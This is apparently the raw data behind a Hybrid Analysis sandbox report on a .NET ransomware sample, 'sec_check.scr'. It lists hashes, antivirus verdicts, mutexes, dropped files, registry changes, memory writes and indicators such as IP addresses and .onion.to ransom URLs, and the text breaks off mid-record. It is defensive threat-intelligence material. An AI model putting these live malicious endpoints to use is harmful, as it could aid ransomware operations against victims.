21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 2c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4b8,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Gen:Ransom.REntS.Generic Sample 2c9599396f82… — Score 85/100 — Hybrid Analysis","description":"Malicious verdict for sample 2c9599396f82…. Malware family: Gen:Ransom.REntS.Generic. Threat score 85/100. 21/27 AV engines flagged this file. 9 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2c9599396f8267baa20e89bab33b323ae98497f855534a8b2a629af502539cfe","keywords":["Malicious","Gen:Ransom.REntS.Generic","malware analysis","sandbox report","threat intelligence","2c9599396f8267baa20e89bab33b323ae98497f855534a8b2a629af502539cfe"],"about":{"@type":"SoftwareApplication","name":"sec_check.scr","applicationCategory":["peexe","assembly","executable"],"identifier":"2c9599396f8267baa20e89bab33b323ae98497f855534a8b2a629af502539cfe","additionalType":"Malicious sample"},"threatScore":85,"malwareFamily":"Gen:Ransom.REntS.Generic","antivirusDetections":{"malicious":21,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T557,"\Sessions\1\BaseNamedObjects\Local\!IETld!Mutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\_!MSFTHISTORY!_" "\Sessions\1\BaseNamedObjects\Local\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!" "\Sessions\1\BaseNamedObjects\Local\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!" "\Sessions\1\BaseNamedObjects\Local\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!" "\Sessions\1\BaseNamedObjects\Local\WininetStartupMutex" "\Sessions\1\BaseNamedObjects\Local\WininetConnectionMutex" "\Sessions\1\BaseNamedObjects\Local\WininetProxyRegistryMutex" "\Sessions\1\BaseNamedObjects\RasPbFile" "\Sessions\1\BaseNamedObjects\Global\.net clr networking" "\Sessions\1\BaseNamedObjects\Local\!PrivacIE!SharedMemory!Mutex" "\Sessions\1\BaseNamedObjects\MSIMGSIZECacheMutex" "\Sessions\1\BaseNamedObjects\Local\c:!users!pspubws!appdata!roaming!microsoft!windows!ietldcache!" "\Sessions\1\BaseNamedObjects\Local\__DDrawExclMode__" "\Sessions\1\BaseNamedObjects\Local\__DDrawCheckExclMode__" "\Sessions\1\BaseNamedObjects\Local\DDrawWindowListMutex"23:T5ba,"Tar2405.tmp.47902644" has type "data" "netstatus_normal[1].png.383627334" has type "PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced" "netstatus_normal[1].svg.501067902" has type "SVG Scalable Vector Graphics image" "%OSUSER%@bitcoin[1].txt.793002664" has type "ASCII text" "%OSUSER%@bitcoin[2].txt.793002728" has type "ASCII text" "aea05d35a295129ee537890954648172[1].css.1210184202" has type "assembler source text" "csshover[1].htc.1283455510" has type "HTML document, ASCII text, with very long lines" "font-awesome.min[1].css.1294787082" has type "ASCII text, with very long lines" "ubuntu-bi-webfont[1].eot.1318488588" has type "Embedded OpenType (EOT)" "fontawesome-webfont[1].eot.1320192524" has type "Embedded OpenType (EOT)" "ubuntu-ri-webfont[1].eot.1320585740" has type "Embedded OpenType (EOT)" "ubuntu-b-webfont[1].eot.1323141644" has type "Embedded OpenType (EOT)" "ubuntu-r-webfont[1].eot.1324190220" has type "ps database version Z from kernel \220Y" "Tar2687.tmp.1792733940" has type "data" "C1F94CD5CA263ECFB1A4BAB1B832C909.1881754154" has type "data" "94308059B57B3142E455B38A6EB92015.2129031150" has type "data" "Tar4646.tmp.2262496212" has type "data" "Cab2677.tmp.2285521588" has type "Microsoft Cabinet archive data, 50006 bytes, 1 file" "Cab4645.tmp.2285521844" has type "Microsoft Cabinet archive data, 49661 bytes, 1 file" "Cab23F4.tmp.2285522068" has type "Microsoft Cabinet archive data, 50006 bytes, 1 file"24:T479,"-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comm" (Indicator: "twitter") "umeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}." (Indicator: "youtube") "8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc" (Indicator: "paypal"), "= t.parentNode; nd.src = t.getAttribute('data-youtubeurl'); nd.setAttribute('frameborder', 0); nd.setAttribute('allowfullscreen', true); t.innerHTML = ''; t.appendChild(nd); t.onclick = ''; } onTouchClick(e, init); } function expan" (Indicator: "youtube")25:T5c6,"" created file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\machine.config" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\security.config" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "" created file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "" created file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "" created file "%WINDIR%\assembly\NativeImages_v2.0.50727_32\index137.dat" "" created file "%WINDIR%\system32\l_intl.nls" "" created file "%WINDIR%\assembly\pubpol15.dat" "" created file "%WINDIR%\FONTS\MICROSS.TTF"26:T901,"" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")27:T5e1,"" wrote bytes "9498337651c13376efb23976ee9c337675dc3576909733761099337600000000013d057638ed0576cfcd047631230476de2f0576c4ca047680bb047652ba04769fbb0476707f037692bb047646ba04760abf047600000000" to virtual address "0x701D1000" (part of module "MSLS31.DLL") "" wrote bytes "92e6447779a84977be724977d62d49771de2447705a24977bee34477616f4977684147770050477700000000ad3723768b2d2376b641237600000000" to virtual address "0x74951000" (part of module "WSHTCPIP.DLL") "" wrote bytes "4053477758584877186a4877653c49770000000000bf04760000000056cc0476000000007cca047600000000376861756a2c4977d62d497700000000206961750000000029a6047600000000a48d617500000000f70e047600000000" to virtual address "0x76501000" (part of module "NSI.DLL") "" wrote bytes "7739457779a84977be724977d62d49771de2447705a24977c868487757d14f77bee34477616f4977684147770050477700000000ad3723768b2d2376b641237600000000" to virtual address "0x74FC1000" (part of module "WSHIP6.DLL") "" wrote bytes "20677077" to virtual address "0x6A9B1FDC" (part of module "MSCORWKS.DLL") "" wrote bytes "db4df06e00000000" to virtual address "0x00FB2000" (part of module "SEC_CHECK.SCR.EXE") "" wrote bytes "08575976047862760000000051c1337694983376ee9c337675dc3576273e3576efb239760000000046ce0476013d057638ed0576cfcd047631230476de2f0576c4ca047680bb047652ba04769fbb047692bb047646ba04760abf047600000000" to virtual address "0x6B2D1000" (part of module "SHFOLDER.DLL")28:T7e3,Found malicious artifacts related to "208.64.123.130" (ASN: 32421, Owner: Black Lotus Communications): ... File SHA256: b1a1082d638f712767bb0ae3ceca3e7b1d75e86d1ce08b63c0fb24a2d7e4482b (AV positives: 1/54 scanned on 01/20/2016 03:12:32) File SHA256: ecd65df937acbcbbaddf4eee79f487f6ebded0586205ce4bcbb1dee270c17686 (AV positives: 4/55 scanned on 01/20/2016 22:56:26) File SHA256: 1e6c2bc60e023cb603b1ea779200590b128821dab2fcf1fcd03dc0ad5d641ac2 (AV positives: 1/55 scanned on 01/19/2016 00:10:43) File SHA256: 337acee7f5c546e2ccd7ecadec4419887f6f62e369a79a76e86c44ba0805a7bb (AV positives: 30/54 scanned on 01/16/2016 06:16:28) File SHA256: d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de (AV positives: 29/55 scanned on 01/12/2016 23:58:27) Found malicious artifacts related to "217.197.83.197" (ASN: 29670, Owner: Individual Network Berlin e.V.): ... URL: http://o7zeip6us33igmgw.onion.to/ (AV positives: 1/66 scanned on 12/31/2015 11:21:00) URL: https://t7r67vsrpjcm5dfc.onion.to/F7A3F07F76D0C36A (AV positives: 2/66 scanned on 12/28/2015 12:13:43) URL: https://t7r67vsrpjcm5dfc.onion.to/%S (AV positives: 2/66 scanned on 12/23/2015 15:38:29) URL: http://t7r67vsrpjcm5dfc.onion.to/ (AV positives: 2/66 scanned on 12/19/2015 08:13:04) URL: http://tw7kaqthui5ojcez.onion.to/inst.php (AV positives: 1/66 scanned on 12/14/2015 13:34:48) File SHA256: c2af940a913a26d98b0b1f3a02c36fb2f0167a60b082d55649d716a704add9f0 (AV positives: 37/55 scanned on 01/29/2016 18:13:43) File SHA256: ecd65df937acbcbbaddf4eee79f487f6ebded0586205ce4bcbb1dee270c17686 (AV positives: 4/55 scanned on 01/20/2016 22:56:26) File SHA256: 337acee7f5c546e2ccd7ecadec4419887f6f62e369a79a76e86c44ba0805a7bb (AV positives: 30/54 scanned on 01/16/2016 06:16:28) File SHA256: e044836753bbe027e22ebb3036c469e8c5ce1e1bd757624fb58a081c7d9fc577 (AV positives: 6/55 scanned on 01/16/2016 01:47:58) File SHA256: d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de (AV positives: 29/55 scanned on 01/12/2016 23:58:27)29:T69d,"" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS")2a:T53c,"" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.WINDOWS.FORMS\3AFCD5168C7A6CB02EAB99D7FD71E102\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 68940000 "" loaded module "UXTHEME.DLL" at base 74290000 "" loaded module "USER32.DLL" at base 76C20000 "" loaded module "GDI32.DLL" at base 77340000 "" loaded module "ADVAPI32.DLL" at base 76D50000 "" loaded module "OLE32.DLL" at base 764C0000 "" loaded module "MSCOREE.DLL" at base 705C0000 "" loaded module "GDIPLUS.DLL" at base 74080000 "" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.17514_NONE_72D18A4386696C80\GDIPLUS.DLL" at base 74080000 "" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76FC0000 "" loaded module "DWMAPI.DLL" at base 73F60000 "" loaded module "COMCTL32.DLL" at base 74440000 "" loaded module "SHFOLDER.DLL" at base 68930000 "" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 764C0000 "" loaded module "CLBCATQ.DLL" at base 770A0000 "" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6E990000 "" loaded module "SXS.DLL" at base 754D00002b:T608,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQaSURBVFhH7VdLV1NXGPV/OadWWxV5KPiMaItdC5eCCBR0QULegRgDWCQYwiMEQkBqayu1U1uIHTjSkc7oBEhyc1954O537s3jAjdN0C6YNGvtdZJzc8+3v/09zjlHjvz/OWwFrE43+vptB4p+iwPktwqLzYF379fx5u0Hwvv/FN92epT1do/M4QIBq30Qf6xGPwura6+xFv0La69VrNL3P2mOQW/tHQRMZgeSgoR0SkZKlj4B6nuyDnavx2yIqYwS7oICJrNdmTxI7CGQyWYVAisrr/Dy9zcVYeW3V8hm0gqi0agu8gocvTEBBvZbV4FsjgAzXtOzgNp7YdT1zqPeOIez5hDOWUNodAbRODCDC54pXPROKiT/Xl9HShLKhm1fBK7YlmFwPIXBuYSmwUVc80Rw3buAb0bm0Tw6hxu+EL7zz2oI8J+nAIvHtkaBFu/PaBn+CTcfPcOtxwTfMlr9T9EWWMKd6UW0ByPomAsXCKQlPpeEojpK6qgFU6DKNKwfAkaAF9XYMFk7xl+gy/8rugK/oHv6OW6T8Zv+MJrHg7g65ofBN46mCV+RgCiUVYAZP/3IWZoAx4sFAsbgS9yfeYGmoRBO2sbwhWUIXzoe4sSAB189cOOkdwCnR5waAjkFyHOlFNm4SwVmvHGmtzICrU9+xAnzKKr6h3HM5sVxJxkffICvHw7i1LBL8eTMY7uGQLKsAsx48/OW0gSSGgWqjCOq13YyXvCajI+4UP2DA2fGbKh9YtmRA7IsQ6JQlGpkzPi/ExCKIThmzUnOvPaQ5EMkOXldPWpHjc+KOr8ZZwOmYhWI5augAgLFJDzuoli7NZIzr0ny2nEr6if6cW7SiAaStNAHBH5fbXxPI2JVwPaCfBVoE6161IEakryOJK8PkPGpPkqm+7gQ6tlXH9CGpiwBbaLV5iWfNKFhuhfng/dwca4bl8OdOwikchVQyWZWloA20RTJp4yq17M9uDT/PS4vdMKw2F4gIFEOsATUa0BsTqRnHMchHo8jEY/t3Qt2h0CbaA3TfeQ1k7wbl8JduBLpwNWldjQttxUIyGLpMpQlCi0RTCTiiMViiMe2ShDQdEJtop2fZZKT1yS5IXKXjN/BteVWXH92S0OA0/U+35YFSlLm+ebmJra2NvUJCKJ6UJicWqxoK2YVMBGIKLuhRAZKbccCzyPJJcjwlkqAoJsDiaRaBWxvZ4vuB0KyqACLOcsHnk+Co3kWd+b1xsaGgpIEYpwEdibAdgppmQeQBrI0lxKQIWBbprmPhG0C/Y89RwofM2qS5fu/JIrgSZEkGefI8zjFnsU/D6aGrgKMwKEdydgZvafP/Mn3AhO9b7G7YHe5YXW4YbY6YSxzz7jddrd4KC2cTvMXhYMfczeUgzecV+GwL4eHbP8fuv0VoZ+XlYMAAAAASUVORK5CYII=18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"2c9599396f8267baa20e89bab33b323ae98497f855534a8b2a629af502539cfe","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":85,"unified_at_epoch_ms":1790439661447,"unified_at":"2026-09-26T16:21:01.447Z","metadata":{"hashes":{"sha256":"2c9599396f8267baa20e89bab33b323ae98497f855534a8b2a629af502539cfe","sha1":"393c2a157d52301405d1594cbcb694c6d2931296","md5":"50881c434db8730bfc5e67bccf573ec2","sha512":"7ce1e31871afcb9e8ea7f61d5c7a22e3cd4582263374a04b35830f57796fa6ab59010fe0eb7259f4eaf0128844a546b54502e3eae2df9a6b18cd228b59d010fd","ssdeep":"768:lWACR8PGlIb65mr6Bvu/0s5yTHkvm6892bojB44BCdpsuuE:gACR8PGlIb65mr6BvS0s5ywvm6892bMQ","ssdeep_chunks":["768:lWACR8P","768:WACR8PG","768:ACR8PGl","768:CR8PGlI","768:R8PGlIb","768:8PGlIb6","768:PGlIb65","768:GlIb65m","768:lIb65mr","768:Ib65mr6","768:b65mr6B","768:65mr6Bv","768:5mr6Bvu","768:mr6Bvu/","768:r6Bvu/0","768:6Bvu/0s","768:Bvu/0s5","768:vu/0s5y","768:u/0s5yT","768:/0s5yTH","768:0s5yTHk","768:s5yTHkv","768:5yTHkvm","768:yTHkvm6","768:THkvm68","768:Hkvm689","768:kvm6892","768:vm6892b","768:m6892bo","768:6892boj","768:892bojB","768:92bojB4","768:2bojB44","768:bojB44B","768:ojB44BC","768:jB44BCd","768:B44BCdp","768:44BCdps","768:4BCdpsu","768:BCdpsuu","768:CdpsuuE","1536:lWACR8P","1536:WACR8PG","1536:ACR8PGl","1536:CR8PGlI","1536:R8PGlIb","1536:8PGlIb6","1536:PGlIb65","1536:GlIb65m","1536:lIb65mr","1536:Ib65mr6","1536:b65mr6B","1536:65mr6Bv","1536:5mr6Bvu","1536:mr6Bvu/","1536:r6Bvu/0","1536:6Bvu/0s","1536:Bvu/0s5","1536:vu/0s5y","1536:u/0s5yT","1536:/0s5yTH","1536:0s5yTHk","1536:s5yTHkv","1536:5yTHkvm","1536:yTHkvm6","1536:THkvm68","1536:Hkvm689","1536:kvm6892","1536:vm6892b","1536:m6892bo","1536:6892boj","1536:892bojB","1536:92bojB4","1536:2bojB44","1536:bojB44B","1536:ojB44BC","1536:jB44BCd","1536:B44BCdp","1536:44BCdps","1536:4BCdpsu","1536:BCdpsuu","1536:CdpsuuE","768:gACR8PG","768:5mr6BvS","768:mr6BvS0","768:r6BvS0s","768:6BvS0s5","768:BvS0s5y","768:vS0s5yw","768:S0s5ywv","768:0s5ywvm","768:s5ywvm6","768:5ywvm68","768:ywvm689","768:wvm6892","768:m6892bM","768:6892bMQ"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"sec_check.scr","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":25139,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499296592000,"last_seen":1689257412000,"last_multi_scan":1689257412000}},"detections":{"summary":{"verdict":"malicious","score":85,"tags":null},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":16,"suspicious_count":26,"malicious_count":9,"total":51},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.AGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1309398","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Ransom.REntS.Gen.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Agent-1388055","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Ransom.REntS.Gen.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Filecoder.AF trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Ransom/MSIL.LockFile.ap","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Ransom.MSIL.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransomware-FTD!50881C434DB8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Dwn.dzyoxk","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Cryptear-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.EEEF2C4D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.EEEF2C4D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Atros2.BYUG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot 